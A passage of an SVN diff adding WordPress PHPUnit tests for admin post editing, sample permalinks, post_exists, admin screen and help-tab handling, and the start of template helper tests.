+				'wptests_tax' => 'foo,baz',
+			),
+		);
+
+		edit_post( $post_data );
+
+		$found = wp_get_post_terms( self::$post_id, 'wptests_tax' );
+
+		// Should contain the term with the name 'foo', not the slug.
+		$this->assertContains( $t1, wp_list_pluck( $found, 'term_id' ) );
+
+		// The 'baz' tag should have been created.
+		$this->assertContains( 'baz', wp_list_pluck( $found, 'name' ) );
+	}
+
+	/**
+	 * @ticket 30615
+	 */
+	public function test_edit_post_should_not_create_terms_for_an_empty_tag_input_field() {
+		wp_set_current_user( self::$editor_id );
+
+		register_taxonomy( 'wptests_tax', array( 'post' ) );
+		self::factory()->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'name' => 'foo',
+			'slug' => 'bar',
+		) );
+
+		$post_data = array(
+			'post_ID' => self::$post_id,
+			'tax_input' => array(
+				'wptests_tax' => ' ',
+			),
+		);
+
+		edit_post( $post_data );
+
+		$found = wp_get_post_terms( self::$post_id, 'wptests_tax' );
+
+		$this->assertEmpty( $found );
+	}
+
+	/**
+	 * @ticket 27792
+	 */
+	public function test_bulk_edit_posts_stomping() {
+		wp_set_current_user( self::$admin_id );
+
+		$post1 = self::factory()->post->create( array(
+			'post_author'    => self::$author_ids[0],
+			'comment_status' => 'open',
+			'ping_status'    => 'open',
+			'post_status'    => 'publish',
+		) );
+
+		$post2 = self::factory()->post->create( array(
+			'post_author'    => self::$author_ids[1],
+			'comment_status' => 'closed',
+			'ping_status'    => 'closed',
+			'post_status'    => 'draft',
+		) );
+
+		$request = array(
+			'post_type'        => 'post',
+			'post_author'      => -1,
+			'ping_status'      => -1,
+			'comment_status'   => -1,
+			'_status'          => -1,
+			'post'             => array( $post1, $post2 ),
+		);
+
+		bulk_edit_posts( $request );
+
+		$post = get_post( $post2 );
+
+		// Check that the first post's values don't stomp the second post.
+		$this->assertEquals( 'draft', $post->post_status );
+		$this->assertEquals( self::$author_ids[1], $post->post_author );
+		$this->assertEquals( 'closed', $post->comment_status );
+		$this->assertEquals( 'closed', $post->ping_status );
+	}
+
+	/**
+	 * @ticket 41396
+	 */
+	public function test_bulk_edit_posts_should_set_post_format_before_wp_update_post_runs() {
+		wp_set_current_user( self::$admin_id );
+
+		$request = array(
+			'post_format' => 'aside',
+			'_status'     => -1,
+			'post'        => array( self::$post_id ),
+		);
+
+		add_action( 'save_post', array( $this, 'check_post_format' ) );
+
+		bulk_edit_posts( $request );
+
+		remove_action( 'save_post', array( $this, 'check_post_format' ) );
+	}
+
+	public function check_post_format( $post_id ) {
+		if ( self::$post_id === $post_id ) {
+			$this->assertEquals( 'aside', get_post_format( $post_id ) );
+		}
+	}
+
+	/**
+	 * @ticket 38293
+	 */
+	public function test_user_cant_delete_protected_meta() {
+		$protected_meta_key = '_test_meta_data_that_is_protected';
+
+		// Add some protected meta data.
+		$post_id = self::$post_id;
+		$meta_id = add_post_meta( $post_id, $protected_meta_key, 'protected' );
+
+		// User editing the post should not effect outcome.
+		$expected = get_post_meta( $post_id, $protected_meta_key );
+
+		// Attempt to edit the post.
+		wp_set_current_user( self::$admin_id );
+
+		$post_data = array(
+			'post_ID' => $post_id,
+			'meta'    => array(
+				$meta_id => array(
+					'key'   => 'unprotected_meta_key',
+					'value' => 'protected',
+				),
+			),
+		);
+		edit_post( $post_data );
+
+		$actual = get_post_meta( $post_id, $protected_meta_key );
+		$this->assertSame( $expected, $actual );
+
+		// Tidy up.
+		delete_metadata_by_mid( 'post', $meta_id );
+	}
+
+	/**
+	 * @ticket 30910
+	 */
+	public function test_get_sample_permalink_should_return_pretty_permalink_for_posts_with_post_status_future() {
+		$permalink_structure = '%postname%';
+		$this->set_permalink_structure( "/$permalink_structure/" );
+
+		$future_date = date( 'Y-m-d H:i:s', time() + 100 );
+		$p = self::factory()->post->create( array( 'post_status' => 'future', 'post_name' => 'foo', 'post_date' => $future_date ) );
+
+		$found = get_sample_permalink( $p );
+		$expected = trailingslashit( home_url( $permalink_structure ) );
+
+		$this->assertSame( $expected, $found[0] );
+	}
+
+	/**
+	 * @ticket 30910
+	 * @ticket 18306
+	 */
+	public function test_get_sample_permalink_html_should_use_default_permalink_for_view_post_link_when_pretty_permalinks_are_disabled() {
+		wp_set_current_user( self::$admin_id );
+
+		$future_date = date( 'Y-m-d H:i:s', time() + 100 );
+		$p = self::factory()->post->create( array( 'post_status' => 'future', 'post_name' => 'foo', 'post_date' => $future_date ) );
+
+		$found = get_sample_permalink_html( $p );
+		$this->assertContains( 'href="' . get_option( 'home' ) . '/?p=' . $p . '"', $found );
+		$this->assertContains( '>' . get_option( 'home' ) . '/?p=' . $p . '<', $found );
+	}
+
+	/**
+	 * @ticket 30910
+	 * @ticket 18306
+	 */
+	public function test_get_sample_permalink_html_should_use_pretty_permalink_for_view_post_link_when_pretty_permalinks_are_enabled() {
+		$this->set_permalink_structure( '/%postname%/' );
+
+		wp_set_current_user( self::$admin_id );
+
+		$future_date = date( 'Y-m-d H:i:s', time() + 100 );
+		$p = self::factory()->post->create( array( 'post_status' => 'future', 'post_name' => 'foo-صورة', 'post_date' => $future_date ) );
+
+		$found = get_sample_permalink_html( $p );
+		$post = get_post( $p );
+		$this->assertContains( 'href="' . get_option( 'home' ) . "/" . $post->post_name . '/"', $found );
+		$this->assertContains( '>' . urldecode( $post->post_name ) . '<', $found );
+	}
+
+	/**
+	 * @ticket 35980
+	 */
+	public function test_get_sample_permalink_html_should_use_pretty_permalink_for_view_attachment_link_when_pretty_permalinks_are_enabled() {
+		$this->set_permalink_structure( '/%postname%/' );
+
+		wp_set_current_user( self::$admin_id );
+
+		$p = self::factory()->attachment->create_object( 'صورة.jpg', 0, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type'      => 'attachment',
+			'post_title'     => 'صورة',
+			'post_status'    => 'inherit',
+		) );
+
+		$found = get_sample_permalink_html( $p );
+		$post = get_post( $p );
+		$this->assertContains( 'href="' . get_option( 'home' ) . "/" . $post->post_name . '/"', $found );
+		$this->assertContains( '>' . urldecode( get_permalink( $post ) ) . '<', $found );
+	}
+
+	/**
+	 * @ticket 32954
+	 * @ticket 18306
+	 */
+	public function test_get_sample_permalink_html_should_use_correct_permalink_for_view_post_link_when_changing_slug() {
+		$this->set_permalink_structure( '/%postname%/' );
+
+		wp_set_current_user( self::$admin_id );
+
+		// Published posts should use published permalink
+		$p = self::factory()->post->create( array( 'post_status' => 'publish', 'post_name' => 'foo-صورة' ) );
+
+		$found = get_sample_permalink_html( $p, null, 'new_slug-صورة' );
+		$post = get_post( $p );
+		$message = 'Published post';
+		$this->assertContains( 'href="' . get_option( 'home' ) . "/" . $post->post_name . '/"', $found, $message );
+		$this->assertContains( '>new_slug-صورة<', $found, $message );
+
+		// Scheduled posts should use published permalink
+		$future_date = date( 'Y-m-d H:i:s', time() + 100 );
+		$p = self::factory()->post->create( array( 'post_status' => 'future', 'post_name' => 'bar-صورة', 'post_date' => $future_date ) );
+
+		$found = get_sample_permalink_html( $p, null, 'new_slug-صورة' );
+		$post = get_post( $p );
+		$message = 'Scheduled post';
+		$this->assertContains( 'href="' . get_option( 'home' ) . "/" . $post->post_name . '/"', $found, $message );
+		$this->assertContains( '>new_slug-صورة<', $found, $message );
+
+		// Draft posts should use preview link
+		$p = self::factory()->post->create( array( 'post_status' => 'draft', 'post_name' => 'baz-صورة' ) );
+
+		$found = get_sample_permalink_html( $p, null, 'new_slug-صورة' );
+		$post = get_post( $p );
+		$message = 'Draft post';
+
+		$preview_link = get_permalink( $post->ID );
+		$preview_link = add_query_arg( 'preview', 'true', $preview_link );
+
+		$this->assertContains( 'href="' . esc_url( $preview_link ) . '"', $found, $message );
+		$this->assertContains( '>new_slug-صورة<', $found, $message );
+	}
+
+	/**
+	 * @ticket 30910
+	 * @ticket 18306
+	 */
+	public function test_get_sample_permalink_html_should_use_preview_links_for_draft_and_pending_posts_with_no_post_name() {
+		$this->set_permalink_structure( '/%postname%/' );
+
+		wp_set_current_user( self::$admin_id );
+
+		$future_date = date( 'Y-m-d H:i:s', time() + 100 );
+		$p = self::factory()->post->create( array( 'post_status' => 'pending', 'post_name' => '', 'post_date' => $future_date ) );
+
+		$found = get_sample_permalink_html( $p );
+		$post = get_post( $p );
+		$this->assertContains( 'href="' . esc_url( get_preview_post_link( $post ) ), $found );
+	}
+
+	/**
+	 * @ticket 5305
+	 */
+	public function test_get_sample_permalink_should_avoid_slugs_that_would_create_clashes_with_year_archives() {
+		$this->set_permalink_structure( '/%postname%/' );
+
+		$p = self::factory()->post->create( array(
+			'post_name' => '2015',
+		) );
+
+		$found = get_sample_permalink( $p );
+		$this->assertEquals( '2015-2', $found[1] );
+	}
+
+	/**
+	 * @ticket 5305
+	 */
+	public function test_get_sample_permalink_should_allow_yearlike_slugs_if_permastruct_does_not_cause_an_archive_conflict() {
+		$this->set_permalink_structure( '/%year%/%postname%/' );
+
+		$p = self::factory()->post->create( array(
+			'post_name' => '2015',
+		) );
+
+		$found = get_sample_permalink( $p );
+		$this->assertEquals( '2015', $found[1] );
+	}
+
+	/**
+	 * @ticket 5305
+	 */
+	public function test_get_sample_permalink_should_avoid_slugs_that_would_create_clashes_with_month_archives() {
+		$this->set_permalink_structure( '/%year%/%postname%/' );
+
+		$p = self::factory()->post->create( array(
+			'post_name' => '11',
+		) );
+
+		$found = get_sample_permalink( $p );
+		$this->assertEquals( '11-2', $found[1] );
+	}
+
+	/**
+	 * @ticket 5305
+	 */
+	public function test_get_sample_permalink_should_ignore_potential_month_conflicts_for_invalid_monthnum() {
+		$this->set_permalink_structure( '/%year%/%postname%/' );
+
+		$p = self::factory()->post->create( array(
+			'post_name' => '13',
+		) );
+
+		$found = get_sample_permalink( $p );
+		$this->assertEquals( '13', $found[1] );
+	}
+
+	/**
+	 * @ticket 5305
+	 */
+	public function test_get_sample_permalink_should_avoid_slugs_that_would_create_clashes_with_day_archives() {
+		$this->set_permalink_structure( '/%year%/%monthnum%/%postname%/' );
+
+		$p = self::factory()->post->create( array(
+			'post_name' => '30',
+		) );
+
+		$found = get_sample_permalink( $p );
+		$this->assertEquals( '30-2', $found[1] );
+	}
+
+	/**
+	 * @ticket 5305
+	 */
+	public function test_get_sample_permalink_should_iterate_slug_suffix_when_a_date_conflict_is_found() {
+		$this->set_permalink_structure( '/%year%/%monthnum%/%postname%/' );
+
+		self::factory()->post->create( array(
+			'post_name' => '30-2',
+		) );
+
+		$p = self::factory()->post->create( array(
+			'post_name' => '30',
+		) );
+
+		$found = get_sample_permalink( $p );
+		$this->assertEquals( '30-3', $found[1] );
+	}
+
+	/**
+	 * @ticket 5305
+	 */
+	public function test_get_sample_permalink_should_ignore_potential_day_conflicts_for_invalid_day() {
+		$this->set_permalink_structure( '/%year%/%monthnum%/%postname%/' );
+
+		$p = self::factory()->post->create( array(
+			'post_name' => '32',
+		) );
+
+		$found = get_sample_permalink( $p );
+		$this->assertEquals( '32', $found[1] );
+	}
+
+	/**
+	 * @ticket 5305
+	 */
+	public function test_get_sample_permalink_should_allow_daylike_slugs_if_permastruct_does_not_cause_an_archive_conflict() {
+		$this->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+
+		$p = self::factory()->post->create( array(
+			'post_name' => '30',
+		) );
+
+		$found = get_sample_permalink( $p );
+		$this->assertEquals( '30', $found[1] );
+	}
+
+	/**
+	 * @ticket 35368
+	 */
+	public function test_get_sample_permalink_should_respect_hierarchy_of_draft_pages() {
+		$this->set_permalink_structure( '/%postname%/' );
+
+		$parent = self::factory()->post->create( array(
+			'post_type'  => 'page',
+			'post_title' => 'Parent Page',
+		) );
+
+		$child = self::factory()->post->create( array(
+			'post_type'   => 'page',
+			'post_title'  => 'Child Page',
+			'post_parent' => $parent,
+			'post_status' => 'draft',
+		) );
+
+		$actual = get_sample_permalink( $child );
+		$this->assertSame( home_url() . '/parent-page/%pagename%/', $actual[0] );
+		$this->assertSame( 'child-page', $actual[1] );
+	}
+
+	public function test_post_exists_should_match_title() {
+		$p = self::factory()->post->create( array(
+			'post_title' => 'Foo Bar',
+		) );
+
+		$this->assertSame( $p, post_exists( 'Foo Bar' ) );
+	}
+
+	public function test_post_exists_should_not_match_nonexistent_title() {
+		$p = self::factory()->post->create( array(
+			'post_title' => 'Foo Bar',
+		) );
+
+		$this->assertSame( 0, post_exists( 'Foo Bar Baz' ) );
+	}
+
+	public function test_post_exists_should_match_nonempty_content() {
+		$title = 'Foo Bar';
+		$content = 'Foo Bar Baz';
+		$p = self::factory()->post->create( array(
+			'post_title' => $title,
+			'post_content' => $content,
+		) );
+
+		$this->assertSame( $p, post_exists( $title, $content ) );
+	}
+
+	/**
+	 * @ticket 35246
+	 */
+	public function test_post_exists_should_match_content_with_no_title() {
+		$title = '';
+		$content = 'Foo Bar Baz';
+		$p = self::factory()->post->create( array(
+			'post_title' => $title,
+			'post_content' => $content,
+		) );
+
+		$this->assertSame( $p, post_exists( $title, $content ) );
+	}
+
+	public function test_post_exists_should_not_match_when_nonempty_content_doesnt_match() {
+		$title = 'Foo Bar';
+		$content = 'Foo Bar Baz';
+		$p = self::factory()->post->create( array(
+			'post_title' => $title,
+			'post_content' => $content . ' Quz',
+		) );
+
+		$this->assertSame( 0, post_exists( $title, $content ) );
+	}
+
+	public function test_post_exists_should_match_nonempty_date() {
+		$title = 'Foo Bar';
+		$date = '2014-05-08 12:00:00';
+		$p = self::factory()->post->create( array(
+			'post_title' => $title,
+			'post_date' => $date,
+		) );
+
+		$this->assertSame( $p, post_exists( $title, '', $date ) );
+	}
+
+	public function test_post_exists_should_not_match_when_nonempty_date_doesnt_match() {
+		$title = 'Foo Bar';
+		$date = '2014-05-08 12:00:00';
+		$p = self::factory()->post->create( array(
+			'post_title' => $title,
+			'post_date' => '2015-10-10 00:00:00',
+		) );
+
+		$this->assertSame( 0, post_exists( $title, '', $date ) );
+	}
+
+	public function test_post_exists_should_match_nonempty_title_content_and_date() {
+		$title = 'Foo Bar';
+		$content = 'Foo Bar Baz';
+		$date = '2014-05-08 12:00:00';
+		$p = self::factory()->post->create( array(
+			'post_title' => $title,
+			'post_content' => $content,
+			'post_date' => $date,
+		) );
+
+		$this->assertSame( $p, post_exists( $title, $content, $date ) );
+	}
+
+	function test_use_block_editor_for_post() {
+		$this->assertFalse( use_block_editor_for_post( -1 ) );
+		$bogus_post_id = $this->factory()->post->create(
+			array(
+				'post_type' => 'bogus',
+			)
+		);
+		$this->assertFalse( use_block_editor_for_post( $bogus_post_id ) );
+
+		register_post_type(
+			'restless',
+			array(
+				'show_in_rest' => false,
+			)
+		);
+		$restless_post_id = $this->factory()->post->create(
+			array(
+				'post_type' => 'restless',
+			)
+		);
+		$this->assertFalse( use_block_editor_for_post( $restless_post_id ) );
+
+		$generic_post_id = $this->factory()->post->create();
+
+		add_filter( 'use_block_editor_for_post', '__return_false' );
+		$this->assertFalse( use_block_editor_for_post( $generic_post_id ) );
+		remove_filter( 'use_block_editor_for_post', '__return_false' );
+
+		add_filter( 'use_block_editor_for_post', '__return_true' );
+		$this->assertTrue( use_block_editor_for_post( $restless_post_id ) );
+		remove_filter( 'use_block_editor_for_post', '__return_true' );
+	}
+
+	function test_get_block_editor_server_block_settings() {
+		$name     = 'core/test';
+		$settings = array(
+			'icon'            => 'text',
+			'render_callback' => 'foo',
+		);
+
+		register_block_type( $name, $settings );
+
+		$blocks = get_block_editor_server_block_settings();
+
+		unregister_block_type( $name );
+
+		$this->assertArrayHasKey( $name, $blocks );
+		$this->assertSame( array( 'icon' => 'text' ), $blocks[ $name ] );
+	}
+
+	/**
+	 * @ticket 43559
+	 */
+	public function test_post_add_meta_empty_is_allowed() {
+		$p     = self::factory()->post->create();
+
+		$_POST = array(
+			'metakeyinput' => 'testkey',
+			'metavalue'    => '',
+		);
+
+		wp_set_current_user( self::$admin_id );
+
+		$this->assertNotFalse( add_meta( $p ) );
+		$this->assertEquals( '', get_post_meta( $p, 'testkey', true ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/admin/includesScreen.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/admin/includesScreen.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/admin/includesScreen.php	(revision 56912)
@@ -0,0 +1,332 @@
+<?php
+
+/**
+ * @group admin
+ * @group adminScreen
+ */
+class Tests_Admin_includesScreen extends WP_UnitTestCase {
+	var $core_screens = array(
+		'index.php' => array( 'base' => 'dashboard', 'id' => 'dashboard' ),
+		'edit.php' => array( 'base' => 'edit', 'id' => 'edit-post', 'post_type' => 'post' ),
+		'post-new.php'=> array( 'action' => 'add', 'base' => 'post', 'id' => 'post', 'post_type' => 'post' ),
+		'edit-tags.php' => array( 'base' => 'edit-tags', 'id' => 'edit-post_tag', 'post_type' => 'post', 'taxonomy' => 'post_tag' ),
+		'edit-tags.php?taxonomy=post_tag' => array( 'base' => 'edit-tags', 'id' => 'edit-post_tag', 'post_type' => 'post', 'taxonomy' => 'post_tag' ),
+		'edit-tags.php?taxonomy=category' => array( 'base' => 'edit-tags', 'id' => 'edit-category', 'post_type' => 'post', 'taxonomy' => 'category' ),
+		'upload.php' => array( 'base' => 'upload', 'id' => 'upload', 'post_type' => 'attachment' ),
+		'media-new.php' => array( 'action' => 'add', 'base' => 'media', 'id' => 'media' ),
+		'edit.php?post_type=page' => array( 'base' => 'edit', 'id' => 'edit-page', 'post_type' => 'page' ),
+		'link-manager.php' => array( 'base' => 'link-manager', 'id' => 'link-manager' ),
+		'link-add.php' => array( 'action' => 'add', 'base' => 'link', 'id' => 'link' ),
+		'edit-tags.php?taxonomy=link_category' => array( 'base' => 'edit-tags', 'id' => 'edit-link_category', 'taxonomy' => 'link_category', 'post_type' => '' ),
+		'edit-comments.php' => array( 'base' => 'edit-comments', 'id' => 'edit-comments' ),
+		'themes.php' => array( 'base' => 'themes', 'id' => 'themes' ),
+		'widgets.php' => array( 'base' => 'widgets', 'id' => 'widgets' ),
+		'nav-menus.php' => array( 'base' => 'nav-menus', 'id' => 'nav-menus' ),
+		'plugins.php' => array( 'base' => 'plugins', 'id' => 'plugins' ),
+		'users.php' => array( 'base' => 'users', 'id' => 'users' ),
+		'user-new.php' => array( 'action' => 'add', 'base' => 'user', 'id' => 'user' ),
+		'profile.php' => array( 'base' => 'profile', 'id' => 'profile' ),
+		'tools.php' => array( 'base' => 'tools', 'id' => 'tools' ),
+		'import.php' => array( 'base' => 'import', 'id' => 'import' ),
+		'export.php' => array( 'base' => 'export', 'id' => 'export' ),
+		'options-general.php' => array( 'base' => 'options-general', 'id' => 'options-general' ),
+		'options-writing.php' => array( 'base' => 'options-writing', 'id' => 'options-writing' ),
+	);
+
+	function setUp() {
+		set_current_screen( 'front' );
+	}
+
+	function tearDown() {
+		unset( $GLOBALS['wp_taxonomies']['old-or-new'] );
+		unset( $GLOBALS['screen'] );
+		parent::tearDown();
+	}
+
+	function test_set_current_screen_with_hook_suffix() {
+		global $current_screen;
+
+		foreach ( $this->core_screens as $hook_name => $screen ) {
+			$_GET = $_POST = $_REQUEST = array();
+			$GLOBALS['taxnow'] = $GLOBALS['typenow'] = '';
+			$screen = (object) $screen;
+			$hook = parse_url( $hook_name );
+
+			if ( ! empty( $hook['query'] ) ) {
+				$args = wp_parse_args( $hook['query'] );
+				if ( isset( $args['taxonomy'] ) )
+					$GLOBALS['taxnow'] = $_GET['taxonomy'] = $_POST['taxonomy'] = $_REQUEST['taxonomy'] = $args['taxonomy'];
+				if ( isset( $args['post_type'] ) )
+					$GLOBALS['typenow'] = $_GET['post_type'] = $_POST['post_type'] = $_REQUEST['post_type'] = $args['post_type'];
+				else if ( isset( $screen->post_type ) )
+					$GLOBALS['typenow'] = $_GET['post_type'] = $_POST['post_type'] = $_REQUEST['post_type'] = $screen->post_type;
+			}
+
+			$GLOBALS['hook_suffix'] = $hook['path'];
+			set_current_screen();
+
+			$this->assertEquals( $screen->id, $current_screen->id, $hook_name );
+			$this->assertEquals( $screen->base, $current_screen->base, $hook_name );
+			if ( isset( $screen->action ) )
+				$this->assertEquals( $screen->action, $current_screen->action, $hook_name );
+			if ( isset( $screen->post_type ) )
+				$this->assertEquals( $screen->post_type, $current_screen->post_type, $hook_name );
+			else
+				$this->assertEmpty( $current_screen->post_type, $hook_name );
+			if ( isset( $screen->taxonomy ) )
+				$this->assertEquals( $screen->taxonomy, $current_screen->taxonomy, $hook_name );
+
+			$this->assertTrue( $current_screen->in_admin() );
+			$this->assertTrue( $current_screen->in_admin( 'site' ) );
+			$this->assertFalse( $current_screen->in_admin( 'network' ) );
+			$this->assertFalse( $current_screen->in_admin( 'user' ) );
+			$this->assertFalse( $current_screen->in_admin( 'garbage' ) );
+
+			// With convert_to_screen(), the same ID should return the exact $current_screen.
+			$this->assertSame( $current_screen, convert_to_screen( $screen->id ), $hook_name );
+
+			// With convert_to_screen(), the hook_suffix should return the exact $current_screen.
+			// But, convert_to_screen() cannot figure out ?taxonomy and ?post_type.
+			if ( empty( $hook['query'] ) )
+				$this->assertSame( $current_screen, convert_to_screen( $GLOBALS['hook_suffix'] ), $hook_name );
+		}
+	}
+
+	function test_post_type_as_hookname() {
+		$screen = convert_to_screen( 'page' );
+		$this->assertEquals( $screen->post_type, 'page' );
+		$this->assertEquals( $screen->base, 'post' );
+		$this->assertEquals( $screen->id, 'page' );
+	}
+
+	function test_post_type_with_special_suffix_as_hookname() {
+		register_post_type( 'value-add' );
+		$screen = convert_to_screen( 'value-add' ); // the -add part is key.
+		$this->assertEquals( $screen->post_type, 'value-add' );
+		$this->assertEquals( $screen->base, 'post' );
+		$this->assertEquals( $screen->id, 'value-add' );
+
+		$screen = convert_to_screen( 'edit-value-add' ); // the -add part is key.
+		$this->assertEquals( $screen->post_type, 'value-add' );
+		$this->assertEquals( $screen->base, 'edit' );
+		$this->assertEquals( $screen->id, 'edit-value-add' );
+	}
+
+	function test_taxonomy_with_special_suffix_as_hookname() {
+		register_taxonomy( 'old-or-new', 'post' );
+		$screen = convert_to_screen( 'edit-old-or-new' ); // the -new part is key.
+		$this->assertEquals( $screen->taxonomy, 'old-or-new' );
+		$this->assertEquals( $screen->base, 'edit-tags' );
+		$this->assertEquals( $screen->id, 'edit-old-or-new' );
+	}
+
+	function test_post_type_with_edit_prefix() {
+		register_post_type( 'edit-some-thing' );
+		$screen = convert_to_screen( 'edit-some-thing' );
+		$this->assertEquals( $screen->post_type, 'edit-some-thing' );
+		$this->assertEquals( $screen->base, 'post' );
+		$this->assertEquals( $screen->id, 'edit-some-thing' );
+
+		$screen = convert_to_screen( 'edit-edit-some-thing' );
+		$this->assertEquals( $screen->post_type, 'edit-some-thing' );
+		$this->assertEquals( $screen->base, 'edit' );
+		$this->assertEquals( $screen->id, 'edit-edit-some-thing' );
+	}
+
+	function test_post_type_edit_collisions() {
+		register_post_type( 'comments' );
+		register_post_type( 'tags' );
+
+		// Sorry, core wins here.
+		$screen = convert_to_screen( 'edit-comments' );
+		$this->assertEquals( $screen->base, 'edit-comments' );
+
+		// The post type wins here. convert_to_screen( $post_type ) is only relevant for meta boxes anyway.
+		$screen = convert_to_screen( 'comments' );
+		$this->assertEquals( $screen->base, 'post' );
+
+		// Core wins.
+		$screen = convert_to_screen( 'edit-tags' );
+		$this->assertEquals( $screen->base, 'edit-tags' );
+
+		$screen = convert_to_screen( 'tags' );
+		$this->assertEquals( $screen->base, 'post' );
+	}
+
+	function test_help_tabs() {
+		$tab = __FUNCTION__;
+		$tab_args = array(
+			'id' => $tab,
+			'title' => 'Help!',
+			'content' => 'Some content',
+			'callback' => false,
+		);
+
+		$screen = get_current_screen();
+		$screen->add_help_tab( $tab_args );
+		$this->assertEquals( $screen->get_help_tab( $tab ), array(
+			'id' => $tab,
+			'title' => 'Help!',
+			'content' => 'Some content',
+			'callback' => false,
+			'priority' => 10,
+		) );
+
+		$tabs = $screen->get_help_tabs();
+		$this->assertArrayHasKey( $tab, $tabs );
+
+		$screen->remove_help_tab( $tab );
+		$this->assertNull( $screen->get_help_tab( $tab ) );
+
+		$screen->remove_help_tabs();
+		$this->assertEquals( $screen->get_help_tabs(), array() );
+	}
+
+	/**
+	 * @ticket 19828
+	 */
+	function test_help_tabs_priority() {
+		$tab_1      = 'tab1';
+		$tab_1_args = array(
+			'title'    => 'Help!',
+			'id'       => $tab_1,
+			'content'  => 'Some content',
+			'callback' => false,
+			'priority' => 10,
+		);
+
+		$tab_2      = 'tab2';
+		$tab_2_args = array(
+			'title'    => 'Help!',
+			'id'       => $tab_2,
+			'content'  => 'Some content',
+			'callback' => false,
+			'priority' => 2,
+		);
+		$tab_3      = 'tab3';
+		$tab_3_args = array(
+			'title'    => 'help!',
+			'id'       => $tab_3,
+			'content'  => 'some content',
+			'callback' => false,
+			'priority' => 40,
+		);
+		$tab_4      = 'tab4';
+		$tab_4_args = array(
+			'title'    => 'help!',
+			'id'       => $tab_4,
+			'content'  => 'some content',
+			'callback' => false,
+			// Don't include a priority
+		);
+
+		$screen = get_current_screen();
+
+		// add help tabs.
+
+		$screen->add_help_tab( $tab_1_args );
+		$this->assertequals( $screen->get_help_tab( $tab_1 ), $tab_1_args );
+
+		$screen->add_help_tab( $tab_2_args );
+		$this->assertEquals( $screen->get_help_tab( $tab_2 ), $tab_2_args );
+
+		$screen->add_help_tab( $tab_3_args );
+		$this->assertEquals( $screen->get_help_tab( $tab_3 ), $tab_3_args );
+
+		$screen->add_help_tab( $tab_4_args );
+		// Priority is added with the default for future calls
+		$tab_4_args[ 'priority' ] = 10;
+		$this->assertEquals( $screen->get_help_tab( $tab_4 ), $tab_4_args );
+
+		$tabs = $screen->get_help_tabs();
+		$this->assertEquals( 4, count( $tabs ) );
+		$this->assertArrayHasKey( $tab_1, $tabs );
+		$this->assertArrayHasKey( $tab_2, $tabs );
+		$this->assertArrayHasKey( $tab_3, $tabs );
+		$this->assertArrayHasKey( $tab_4, $tabs );
+
+		// Test priority order.
+
+		$this->assertSame( array(
+			$tab_2 => $tab_2_args,
+			$tab_1 => $tab_1_args,
+			$tab_4 => $tab_4_args,
+			$tab_3 => $tab_3_args,
+		), $tabs );
+
+		$screen->remove_help_tab( $tab_1 );
+		$this->assertNull( $screen->get_help_tab( $tab_1 ) );
+		$this->assertSame( 3, count( $screen->get_help_tabs() ) );
+
+		$screen->remove_help_tab( $tab_2 );
+		$this->assertNull( $screen->get_help_tab( $tab_2 ) );
+		$this->assertSame( 2, count( $screen->get_help_tabs() ) );
+
+		$screen->remove_help_tab( $tab_3 );
+		$this->assertNull( $screen->get_help_tab( $tab_3 ) );
+		$this->assertSame( 1, count( $screen->get_help_tabs() ) );
+
+		$screen->remove_help_tab( $tab_4 );
+		$this->assertNull( $screen->get_help_tab( $tab_4 ) );
+		$this->assertSame( 0, count( $screen->get_help_tabs() ) );
+
+		$screen->remove_help_tabs();
+		$this->assertEquals( array(), $screen->get_help_tabs() );
+	}
+
+	/**
+	 * @ticket 25799
+	 */
+	function test_options() {
+		$option = __FUNCTION__;
+		$option_args = array(
+			'label'   => 'Option',
+			'default' => 10,
+			'option'  => $option
+		);
+
+		$screen = get_current_screen();
+
+		$screen->add_option( $option, $option_args );
+		$this->assertEquals( $screen->get_option( $option ), $option_args );
+
+		$options = $screen->get_options();
+		$this->assertArrayHasKey( $option, $options );
+
+		$screen->remove_option( $option );
+		$this->assertNull( $screen->get_option( $option ) );
+
+		$screen->remove_options();
+		$this->assertEquals( $screen->get_options(), array() );
+	}
+
+	function test_in_admin() {
+		$screen = get_current_screen();
+
+		set_current_screen( 'edit.php' );
+		$this->assertTrue( get_current_screen()->in_admin() );
+		$this->assertTrue( get_current_screen()->in_admin( 'site' ) );
+		$this->assertFalse( get_current_screen()->in_admin( 'network' ) );
+		$this->assertFalse( get_current_screen()->in_admin( 'user' ) );
+
+		set_current_screen( 'dashboard-network' );
+		$this->assertTrue( get_current_screen()->in_admin() );
+		$this->assertFalse( get_current_screen()->in_admin( 'site' ) );
+		$this->assertTrue( get_current_screen()->in_admin( 'network' ) );
+		$this->assertFalse( get_current_screen()->in_admin( 'user' ) );
+
+		set_current_screen( 'dashboard-user' );
+		$this->assertTrue( get_current_screen()->in_admin() );
+		$this->assertFalse( get_current_screen()->in_admin( 'site' ) );
+		$this->assertFalse( get_current_screen()->in_admin( 'network' ) );
+		$this->assertTrue( get_current_screen()->in_admin( 'user' ) );
+
+		set_current_screen( 'front' );
+		$this->assertFalse( get_current_screen()->in_admin() );
+		$this->assertFalse( get_current_screen()->in_admin( 'site' ) );
+		$this->assertFalse( get_current_screen()->in_admin( 'network' ) );
+		$this->assertFalse( get_current_screen()->in_admin( 'user' ) );
+
+		$GLOBALS['current_screen'] = $screen;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/admin/includesTemplate.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/admin/includesTemplate.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/admin/includesTemplate.php	(revision 56912)
@@ -0,0 +1,111 @@
+<?php
+/**
+ * @group admin
+ */
+class Tests_Admin_includesTemplate extends WP_UnitTestCase {
+	function test_equal() {
+		$this->assertEquals(' selected=\'selected\'', selected('foo','foo',false));
+		$this->assertEquals(' checked=\'checked\'', checked('foo','foo',false));
+
+		$this->assertEquals(' selected=\'selected\'', selected('1',1,false));
+		$this->assertEquals(' checked=\'checked\'', checked('1',1,false));
+
+		$this->assertEquals(' selected=\'selected\'', selected('1',true,false));
+		$this->assertEquals(' checked=\'checked\'', checked('1',true,false));
+
+		$this->assertEquals(' selected=\'selected\'', selected(1,1,false));
+		$this->assertEquals(' checked=\'checked\'', checked(1,1,false));
+
+		$this->assertEquals(' selected=\'selected\'', selected(1,true,false));
+		$this->assertEquals(' checked=\'checked\'', checked(1,true,false));
+
